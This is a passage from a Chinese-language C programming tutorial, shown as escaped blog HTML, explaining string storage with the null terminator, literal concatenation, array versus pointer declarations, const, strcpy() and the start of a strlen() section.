语言会自动添加一个全是二进制\u003ccode\u003e0\u003c/code\u003e的字节,写作\u003ccode\u003e\\0\u003c/code\u003e字符,表示字符串结束。字符\u003ccode\u003e\\0\u003c/code\u003e不同于字符\u003ccode\u003e0\u003c/code\u003e,前者的 ASCII 码是0(二进制形式\u003ccode\u003e00000000\u003c/code\u003e),后者的 ASCII 码是48(二进制形式\u003ccode\u003e00110000\u003c/code\u003e)。所以,字符串“Hello”实际储存的数组是\u003ccode\u003e{\u0026#39;H\u0026#39;, \u0026#39;e\u0026#39;, \u0026#39;l\u0026#39;, \u0026#39;l\u0026#39;, \u0026#39;o\u0026#39;, \u0026#39;\\0\u0026#39;}\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e所有字符串的最后一个字符,都是\u003ccode\u003e\\0\u003c/code\u003e。这样做的好处是,C 语言不需要知道字符串的长度,就可以读取内存里面的字符串,只要发现有一个字符是\u003ccode\u003e\\0\u003c/code\u003e,那么就知道字符串结束了。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e localString[\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例声明了一个10个成员的字符数组,可以当作字符串。由于必须留一个位置给\u003ccode\u003e\\0\u003c/code\u003e,所以最多只能容纳9个字符的字符串。\u003c/p\u003e\u003cp\u003e字符串写成数组的形式,是非常麻烦的。C 语言提供了一种简写法,双引号之中的字符,会被自动视为字符数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e{\u003cspan class=\"string\"\u003e\u0026#39;H\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;e\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;l\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;l\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;o\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;\\0\u0026#39;\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等价于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;Hello\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面两种字符串的写法是等价的,内部存储方式都是一样的。双引号里面的字符串,不用自己添加结尾字符\u003ccode\u003e\\0\u003c/code\u003e,C 语言会自动添加。\u003c/p\u003e\u003cp\u003e注意,双引号里面是字符串,单引号里面是字符,两者不能互换。如果把\u003ccode\u003eHello\u003c/code\u003e放在单引号里面,编译器会报错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#39;Hello\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e另一方面,即使双引号里面只有一个字符(比如\u003ccode\u003e\u0026#34;a\u0026#34;\u003c/code\u003e),也依然被处理成字符串(存储为2个字节),而不是字符\u003ccode\u003e\u0026#39;a\u0026#39;\u003c/code\u003e(存储为1个字节)。\u003c/p\u003e\u003cp\u003e如果字符串内部包含双引号,则该双引号需要使用反斜杠转义。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;She replied, \\\u0026#34;It does.\\\u0026#34;\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e反斜杠还可以表示其他特殊字符,比如换行符(\u003ccode\u003e\\n\u003c/code\u003e)、制表符(\u003ccode\u003e\\t\u003c/code\u003e)等。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\\n\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果字符串过长,可以在需要折行的地方,使用反斜杠(\u003ccode\u003e\\\u003c/code\u003e)结尾,将一行拆成多行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#34;hello \\\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003eworld\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,第一行尾部的反斜杠,将字符串拆成两行。\u003c/p\u003e\u003cp\u003e上面这种写法有一个缺点,就是第二行必须顶格书写,如果想包含缩进,那么缩进也会被计入字符串。为了解决这个问题,C 语言允许合并多个字符串字面量,只要这些字符串之间没有间隔,或者只有空格,C 语言会将它们自动合并。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e greeting[\u003cspan class=\"number\"\u003e50\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;Hello, \u0026#34;\u003c/span\u003e\u003cspan class=\"string\"\u003e\u0026#34;how are you \u0026#34;\u003c/span\u003e\u003cspan class=\"string\"\u003e\u0026#34;today!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e greeting[\u003cspan class=\"number\"\u003e50\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;Hello, how are you today!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这种新写法支持多行字符串的合并。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e greeting[\u003cspan class=\"number\"\u003e50\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;Hello, \u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;how are you \u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;today!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e使用占位符\u003ccode\u003e%s\u003c/code\u003e输出字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;hello world\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"字符串变量的声明\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8F%98%E9%87%8F%E7%9A%84%E5%A3%B0%E6%98%8E\" class=\"headerlink\" title=\"字符串变量的声明\"\u003e\u003c/a\u003e字符串变量的声明\u003c/h3\u003e\u003cp\u003e字符串变量可以声明成一个字符数组,也可以声明成一个指针,指向字符数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s[\u003cspan class=\"number\"\u003e14\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法二\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面两种写法都声明了一个字符串变量\u003ccode\u003es\u003c/code\u003e。如果采用第一种写法,由于字符数组的长度可以让编译器自动计算,所以声明时可以省略字符数组的长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s[] = \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,编译器会将数组\u003ccode\u003es\u003c/code\u003e的长度指定为14,正好容纳后面的字符串。\u003c/p\u003e\u003cp\u003e字符数组的长度,可以大于字符串的实际长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s[\u003cspan class=\"number\"\u003e50\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符数组\u003ccode\u003es\u003c/code\u003e的长度是\u003ccode\u003e50\u003c/code\u003e,但是字符串“hello”的实际长度只有6(包含结尾符号\u003ccode\u003e\\0\u003c/code\u003e),所以后面空出来的44个位置,都会被初始化为\u003ccode\u003e\\0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e字符数组的长度,不能小于字符串的实际长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符串数组\u003ccode\u003es\u003c/code\u003e的长度是\u003ccode\u003e5\u003c/code\u003e,小于字符串“hello”的实际长度6,这时编译器会报错。因为如果只将前5个字符写入,而省略最后的结尾符号\u003ccode\u003e\\0\u003c/code\u003e,这很可能导致后面的字符串相关代码出错。\u003c/p\u003e\u003cp\u003e字符指针和字符数组,这两种声明字符串变量的写法基本是等价的,但是有两个差异。\u003c/p\u003e\u003cp\u003e第一个差异是,指针指向的字符串,在 C 语言内部被当作常量,不能修改字符串本身。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#39;z\u0026#39;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 错误\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码使用指针,声明了一个字符串变量,然后修改了字符串的第一个字符。这种写法是错的,会导致难以预测的后果,执行时很可能会报错。\u003c/p\u003e\u003cp\u003e如果使用数组声明字符串变量,就没有这个问题,可以修改数组的任意成员。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s[] = \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#39;z\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e为什么字符串声明为指针时不能修改,声明为数组时就可以修改?原因是系统会将字符串的字面量保存在内存的常量区,这个区是不允许用户修改的。声明为指针时,指针变量存储的只是一个指向常量区的内存地址,因此用户不能通过这个地址去修改常量区。但是,声明为数组时,编译器会给数组单独分配一段内存,字符串字面量会被编译器解释成字符数组,逐个字符写入这段新分配的内存之中,而这段新内存是允许修改的。\u003c/p\u003e\u003cp\u003e为了提醒用户,字符串声明为指针后不得修改,可以在声明时使用\u003ccode\u003econst\u003c/code\u003e说明符,保证该字符串是只读的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面字符串声明为指针时,使用了\u003ccode\u003econst\u003c/code\u003e说明符,就保证了该字符串无法修改。一旦修改,编译器肯定会报错。\u003c/p\u003e\u003cp\u003e第二个差异是,指针变量可以指向其它字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es = \u003cspan class=\"string\"\u003e\u0026#34;world\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符指针可以指向另一个字符串。\u003c/p\u003e\u003cp\u003e但是,字符数组变量不能指向另一个字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s[] = \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es = \u003cspan class=\"string\"\u003e\u0026#34;world\u0026#34;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符数组的数组名,总是指向初始化时的字符串地址,不能修改。\u003c/p\u003e\u003cp\u003e同样的原因,声明字符数组后,不能直接用字符串赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s[\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es = \u003cspan class=\"string\"\u003e\u0026#34;abc\u0026#34;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 错误\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,不能直接把字符串赋值给字符数组变量,会报错。原因是字符数组的变量名,跟所指向的数组是绑定的,不能指向另一个地址。\u003c/p\u003e\u003cp\u003e为什么数组变量不能赋值为另一个数组?原因是数组变量所在的地址无法改变,或者说,编译器一旦为数组变量分配地址后,这个地址就绑定这个数组变量了,这种绑定关系是不变的。C 语言也因此规定,数组变量是一个不可修改的左值,即不能用赋值运算符为它重新赋值。\u003c/p\u003e\u003cp\u003e想要重新赋值,必须使用 C 语言原生提供的\u003ccode\u003estrcpy()\u003c/code\u003e函数,通过字符串拷贝完成赋值。这样做以后,数组变量的地址还是不变的,即\u003ccode\u003estrcpy()\u003c/code\u003e只是在原地址写入新的字符串,而不是让数组变量指向新的地址。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s[\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(s, \u003cspan class=\"string\"\u003e\u0026#34;abc\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003estrcpy()\u003c/code\u003e函数把字符串\u003ccode\u003eabc\u003c/code\u003e拷贝给变量\u003ccode\u003es\u003c/code\u003e,这个函数的详细用法会在后面介绍。\u003c/p\u003e\u003ch3 id=\"strlen\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strlen\" class=\"headerlink\" title=\"strlen()\"\u003e\u003c/a\u003estrlen()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003estrlen()\u003c/code\u003e函数返回字符串的字节长度,不包括末尾的空字符\u003ccode\u003e\\0\u003c/code\u003e。该函数的原型如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// string.h\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrlen\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的参数是字符串变量,返回的是\u003ccode\u003esize_t\u003c/code\u003e类型的无符号整数,除非是极长的字符串,一般情况下当作\u003ccode\u003eint\u003c/code\u003e类型处理即可。下面是一个用法实例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* str = \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan 